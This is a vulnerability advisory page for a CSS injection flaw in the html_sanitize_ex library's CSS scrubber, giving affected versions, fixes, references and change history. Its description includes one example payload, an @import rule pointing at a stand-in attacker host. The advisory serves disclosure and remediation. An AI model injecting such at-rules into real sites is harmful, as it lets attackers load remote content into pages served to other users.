CVE-2026-68747 Details
Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
A vulnerability has been identified in the CSS scrubber of the rrrene html_sanitize_ex library, versions 0.3.1 prior to 1.5.4. This vulnerability allows an unauthenticated remote attacker to inject CSS at-rules, including imports of remote stylesheets, into pages served to other users. The issue arises because the CSS scrubber's allowlist is applied through a regular expression that only inspects substrings matching a property-value declaration pattern. As a result, input that does not conform to this pattern is not properly sanitized and is output unchanged. For example, an '@import' rule can be successfully injected, while equivalent URLs in 'background' declarations are removed. The vulnerability is contained within the '<style>' element, preventing script execution.
Users can update to html_sanitize_ex version 1.5.4 or later, where this vulnerability has been fixed. Alternatively, for versions prior to 1.5.4, the 'HtmlSanitizeEx.basic_html/1', 'HtmlSanitizeEx.markdown_html/1', or 'HtmlSanitizeEx.strip_tags/1' functions can be used to sanitize content, as these do not allow '<style>' elements. If using a custom scrubber, ensure it does not permit '<style>' elements.
Metrics
CVSS 4.0 Severity and Vector Strings:
CVSS 3.x Severity and Vector Strings:
No data available for CVSS Version 2.0 on this CVE.
CISA-ADP
Assessed Aug 6, 2026References to Advisories, Solutions, and Tools
By selecting these links, you will be leaving this site. These are references gathered from the official CVE record and are not endorsed by Volerion.
| URL | Source(s) | Tag(s) |
|---|---|---|
| https://cna.erlef.org/cves/CVE-2026-68747.html | EEF | PatchThird Party Advisory |
| https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308 | EEF | Patch |
| https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28 | EEF | |
| https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7 | EEF | Broken Link |
| https://osv.dev/vulnerability/EEF-CVE-2026-68747 | EEF | PatchThird Party Advisory |
Weakness Enumeration
| CWE-ID | CWE Name | Source |
|---|---|---|
| CWE-74 | Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') | EEF |
Affected Products
| Product | Versions |
|---|---|
| rrrene htmlsanitizeex | >= 0.3.1, < 1.5.4 |
CPE
Remediation
| |
Change History
4 change records found show changes
| Date | Action | Recorded By |
|---|---|---|
| Aug 19, 2026 | CVE Modified | EEF |
| Aug 11, 2026 | Initial Analysis | [email protected] |
| Aug 6, 2026 | CVE Modified | CISA-ADP |
| Aug 6, 2026 | New CVE Received | EEF |